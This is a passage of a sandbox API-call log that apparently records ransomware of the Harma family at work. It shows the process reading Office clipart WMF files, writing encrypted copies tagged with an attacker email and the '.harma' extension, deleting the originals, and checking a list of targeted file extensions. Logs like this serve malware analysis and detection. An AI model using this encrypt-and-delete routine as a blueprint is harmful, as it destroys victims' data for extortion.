lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0149.984] ReadFile (in: hFile=0x344, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.984] WriteFile (in: hFile=0x2e8, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0149.984] SetEndOfFile (hFile=0x2e8) returned 1 [0149.984] CloseHandle (hObject=0x2e8) returned 1 [0149.984] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.984] SetEndOfFile (hFile=0x344) returned 1 [0149.986] CloseHandle (hObject=0x344) returned 1 [0149.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 1 [0150.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.034] lstrlenW (lpString=".doc") returned 4 [0150.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.034] lstrlenW (lpString=".docx") returned 5 [0150.034] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0150.034] lstrlenW (lpString=".pdf") returned 4 [0150.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.034] lstrlenW (lpString=".xls") returned 4 [0150.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.034] lstrlenW (lpString=".xlsx") returned 5 [0150.034] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0150.034] lstrlenW (lpString=".ppt") returned 4 [0150.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.034] lstrlenW (lpString=".zip") returned 4 [0150.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.034] lstrlenW (lpString=".rar") returned 4 [0150.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.034] lstrlenW (lpString=".bz2") returned 4 [0150.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.034] lstrlenW (lpString=".7z") returned 3 [0150.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.035] lstrlenW (lpString=".dbf") returned 4 [0150.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.035] lstrlenW (lpString=".1cd") returned 4 [0150.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.035] lstrlenW (lpString=".jpg") returned 4 [0150.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.035] lstrlenW (lpString=".doc") returned 4 [0150.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.035] lstrlenW (lpString=".docx") returned 5 [0150.035] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0150.035] lstrlenW (lpString=".pdf") returned 4 [0150.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.035] lstrlenW (lpString=".xls") returned 4 [0150.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.035] lstrlenW (lpString=".xlsx") returned 5 [0150.035] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0150.035] lstrlenW (lpString=".ppt") returned 4 [0150.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.035] lstrlenW (lpString=".zip") returned 4 [0150.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.035] lstrlenW (lpString=".rar") returned 4 [0150.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.035] lstrlenW (lpString=".bz2") returned 4 [0150.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.035] lstrlenW (lpString=".7z") returned 3 [0150.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.036] lstrlenW (lpString=".dbf") returned 4 [0150.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.036] lstrlenW (lpString=".1cd") returned 4 [0150.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0150.036] lstrlenW (lpString=".jpg") returned 4 [0150.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.036] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.036] lstrlenW (lpString="DD00407_.WMF") returned 12 [0150.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0150.071] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=7828) returned 1 [0150.071] CloseHandle (hObject=0x344) returned 1 [0150.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20 [0150.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0150.071] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.072] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.072] GetLastError () returned 0x0 [0150.072] ReadFile (in: hFile=0x344, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1e94, lpOverlapped=0x0) returned 1 [0150.082] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1ea0, lpOverlapped=0x0) returned 1 [0150.083] ReadFile (in: hFile=0x344, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.083] WriteFile (in: hFile=0x34c, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.084] SetEndOfFile (hFile=0x34c) returned 1 [0150.084] CloseHandle (hObject=0x34c) returned 1 [0150.084] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.084] SetEndOfFile (hFile=0x344) returned 1 [0150.086] CloseHandle (hObject=0x344) returned 1 [0150.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0150.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.369] lstrlenW (lpString=".doc") returned 4 [0150.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.369] lstrlenW (lpString=".docx") returned 5 [0150.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.369] lstrlenW (lpString=".pdf") returned 4 [0150.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.369] lstrlenW (lpString=".xls") returned 4 [0150.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.369] lstrlenW (lpString=".xlsx") returned 5 [0150.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.369] lstrlenW (lpString=".ppt") returned 4 [0150.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.369] lstrlenW (lpString=".zip") returned 4 [0150.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.369] lstrlenW (lpString=".rar") returned 4 [0150.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.369] lstrlenW (lpString=".bz2") returned 4 [0150.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.369] lstrlenW (lpString=".7z") returned 3 [0150.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.370] lstrlenW (lpString=".dbf") returned 4 [0150.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.370] lstrlenW (lpString=".1cd") returned 4 [0150.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.370] lstrlenW (lpString=".jpg") returned 4 [0150.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.370] lstrlenW (lpString=".doc") returned 4 [0150.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.370] lstrlenW (lpString=".docx") returned 5 [0150.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.370] lstrlenW (lpString=".pdf") returned 4 [0150.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.370] lstrlenW (lpString=".xls") returned 4 [0150.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.370] lstrlenW (lpString=".xlsx") returned 5 [0150.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.370] lstrlenW (lpString=".ppt") returned 4 [0150.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.370] lstrlenW (lpString=".zip") returned 4 [0150.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.370] lstrlenW (lpString=".rar") returned 4 [0150.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.370] lstrlenW (lpString=".bz2") returned 4 [0150.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.370] lstrlenW (lpString=".7z") returned 3 [0150.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.371] lstrlenW (lpString=".dbf") returned 4 [0150.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.371] lstrlenW (lpString=".1cd") returned 4 [0150.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0150.371] lstrlenW (lpString=".jpg") returned 4 [0150.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.371] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.371] lstrlenW (lpString="DD01015_.WMF") returned 12 [0150.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.371] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2226) returned 1 [0150.372] CloseHandle (hObject=0x384) returned 1 [0150.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0150.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.372] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.372] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0150.373] GetLastError () returned 0x0 [0150.373] ReadFile (in: hFile=0x384, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x8b2, lpOverlapped=0x0) returned 1 [0150.456] WriteFile (in: hFile=0x388, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0150.459] ReadFile (in: hFile=0x384, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.459] WriteFile (in: hFile=0x388, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.459] SetEndOfFile (hFile=0x388) returned 1 [0150.459] CloseHandle (hObject=0x388) returned 1 [0150.459] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.459] SetEndOfFile (hFile=0x384) returned 1 [0150.462] CloseHandle (hObject=0x384) returned 1 [0150.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0150.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.473] lstrlenW (lpString=".doc") returned 4 [0150.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.473] lstrlenW (lpString=".docx") returned 5 [0150.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.473] lstrlenW (lpString=".pdf") returned 4 [0150.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.473] lstrlenW (lpString=".xls") returned 4 [0150.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.473] lstrlenW (lpString=".xlsx") returned 5 [0150.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.473] lstrlenW (lpString=".ppt") returned 4 [0150.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.473] lstrlenW (lpString=".zip") returned 4 [0150.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.473] lstrlenW (lpString=".rar") returned 4 [0150.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.473] lstrlenW (lpString=".bz2") returned 4 [0150.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.473] lstrlenW (lpString=".7z") returned 3 [0150.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.474] lstrlenW (lpString=".dbf") returned 4 [0150.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.474] lstrlenW (lpString=".1cd") returned 4 [0150.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.474] lstrlenW (lpString=".jpg") returned 4 [0150.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.474] lstrlenW (lpString=".doc") returned 4 [0150.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.474] lstrlenW (lpString=".docx") returned 5 [0150.474] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.474] lstrlenW (lpString=".pdf") returned 4 [0150.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.474] lstrlenW (lpString=".xls") returned 4 [0150.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.474] lstrlenW (lpString=".xlsx") returned 5 [0150.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.474] lstrlenW (lpString=".ppt") returned 4 [0150.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.474] lstrlenW (lpString=".zip") returned 4 [0150.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.474] lstrlenW (lpString=".rar") returned 4 [0150.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.474] lstrlenW (lpString=".bz2") returned 4 [0150.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.474] lstrlenW (lpString=".7z") returned 3 [0150.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.475] lstrlenW (lpString=".dbf") returned 4 [0150.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.475] lstrlenW (lpString=".1cd") returned 4 [0150.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0150.475] lstrlenW (lpString=".jpg") returned 4 [0150.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.475] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0150.475] lstrlenW (lpString="DD01139_.WMF") returned 12 [0150.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.483] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3632) returned 1 [0150.483] CloseHandle (hObject=0x360) returned 1 [0150.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0150.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0150.717] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.717] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0150.718] GetLastError () returned 0x0 [0150.718] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xe30, lpOverlapped=0x0) returned 1 [0150.758] WriteFile (in: hFile=0x334, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe40, lpOverlapped=0x0) returned 1 [0150.760] ReadFile (in: hFile=0x340, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.760] WriteFile (in: hFile=0x334, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.760] SetEndOfFile (hFile=0x334) returned 1 [0150.760] CloseHandle (hObject=0x334) 